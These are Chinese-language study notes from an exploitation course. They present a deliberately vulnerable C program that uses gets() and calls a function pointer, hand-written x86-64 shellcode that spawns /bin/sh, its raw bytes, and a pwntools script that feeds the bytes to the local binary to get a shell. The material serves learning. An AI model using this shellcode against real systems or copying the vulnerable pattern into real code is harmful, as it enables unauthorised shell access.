课程https://www.youtube.com/watch?v=715v_-YnpT8
漏洞程序 hello.c
void bye1(){ puts("Goodbye!"); }
void bye2(){ puts("Farewell!"); }
void hello(char * name ,void (* bye_func)()){
printf("Hello , %s\n",name);
bye_func();
}
int main(int argc,char **argv){
char name[1024];
gets(name);
srand(time(0));
if(rand()%2) hello(bye1,name);
else hello(name,bye2);
}
GCC编译,1/2的概率程序崩溃
shellcode.s
.global _start #.global定义一个全局符号 _start 为程序的入口
_start: # _start: 标志程序入口
.intel_syntax noprefix #intel代码格式
mov rax, 59 #系统调用号
lea rdi, [rip+binsh] #binsh偏移
mov rsi, 0
mov rdx, 0
syscall
binsh: #binsh标号
.string "/bin/sh" #.string 标志string类型
编译运行
objdump 看一下section
其实到这里对于shellcode已经是可以使用了。
from pwn import *
context.log_level = 'debug'
p=process('./hello')
payload="\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x10\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00"
p.sendline(payload)
p.interactive()
视频中演示了另一种方法,利用objcpoy 将代码段部分转移到shellcode-raw文件中
(hd hexdump)用十六进制把二进制文件打印出来
利用管道符(这行指令还没太看明白,但是用的应该不多,不去深究了)